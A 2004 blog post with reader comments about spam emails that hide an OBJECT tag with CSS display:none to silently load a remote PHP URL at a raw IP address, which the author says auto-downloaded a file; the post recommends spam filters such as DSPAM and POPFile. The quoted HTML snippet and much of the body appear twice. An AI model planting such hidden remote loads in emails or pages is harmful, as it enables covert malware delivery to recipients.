The new super cool chic thing to do with SPAM is to use CSS and the display:none proporty on pretty much every block element known to man, including the ever fun OBJECT tag. Don't get me started on ActiveX, thats another story all together. By the way, this is why you hear so many people, including me, rant to not enable HTML in your email client.
What am I blabbering about? Take a look:
<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://66.183.208.158:81/497379.php"> </OBJECT>
</body></html> Since I am the curious type, and I am using a Macintosh (do not try this yourself on a PC running Windows, you have been warned) I actually loaded up that URL. This URL is dead by now, just take my word for it. This automatically downloaded a file on my Mac. I can only predict what would have happened if I did this on my PC. SPAM filters need to be updated for this trick. I am not sure if SpamSieve will pick up this trick, but I know for sure the latest version of POPFile (of which I outlined how to install on OS X) will in fact learn and catch this trick. This was one of the major new features. I need to email the developers of DSPAM and SpamSieve to see if their systems will accurately classify this new trick. I hope they both do. I have been meaning to write about it, but I have, after many months convinced Digital Partners (DP) to install SPAM blocking software on their mail servers. The amount of SPAM on our BG News lists was getting counterproductive. DP finally decided on DSPAM after conducting research. In short I am very happy with DSPAM. So check out DSPAM!
<font face="System">
<OBJECT STYLE="display:none" DATA="http://66.183.208.158:81/497379.php"> </OBJECT>
</body></html> Since I am the curious type, and I am using a Macintosh (do not try this yourself on a PC running Windows, you have been warned) I actually loaded up that URL. This URL is dead by now, just take my word for it. This automatically downloaded a file on my Mac. I can only predict what would have happened if I did this on my PC. SPAM filters need to be updated for this trick. I am not sure if SpamSieve will pick up this trick, but I know for sure the latest version of POPFile (of which I outlined how to install on OS X) will in fact learn and catch this trick. This was one of the major new features. I need to email the developers of DSPAM and SpamSieve to see if their systems will accurately classify this new trick. I hope they both do. I have been meaning to write about it, but I have, after many months convinced Digital Partners (DP) to install SPAM blocking software on their mail servers. The amount of SPAM on our BG News lists was getting counterproductive. DP finally decided on DSPAM after conducting research. In short I am very happy with DSPAM. So check out DSPAM!
Comments (4)
I know why I have turned Outlook 2002/2003 and Outlook Express 6 into read all mail as plain text ;-)
BTW, tried Mozilla Firefox? I believe it runs on Mac. It's awesome and I've made it my default browser more than a year ago (well, started with Mozilla 1.0 back then)
Cheers,
Sig
Posted by Sig Weber | March 23, 2004 8:32 PM
Posted on March 23, 2004 20:32
You would not be the first to suggest Mozilla (and/or its derivatives). And while I do like them, I have given them a shot. Firefox does rock tho! I still like the feature set that the built in Mail app gives me. I used to use Entourage too, I just really like Mail, especially the new features added in 10.3.
In Panther's Mail you can turn off images, but not HTML rendering. I would be more irritated at it if it did not block images. But since it does, I do not mind.
Posted by Ken Edwards | March 24, 2004 1:25 PM
Posted on March 24, 2004 13:25
Sounds like Panther is really excellent. I have a friend who owns a Mac but runs 10.2 AFAIK. She couldn't afford the update as of yet. Sounds like I'm going to spend the $$ for her ;-)
Posted by Sig Weber | March 24, 2004 4:04 PM
Posted on March 24, 2004 16:04
Is anyone in school in the family? Then you could get the EDU discount. That makes a big difference in the cost. Its well worth it tho, even at $129. They rewrote the text rendering, so everything is so much faster, especially on an older G3, like a 300 Mhz iMac, for example.
Posted by Ken Edwards | March 27, 2004 7:32 PM
Posted on March 27, 2004 19:32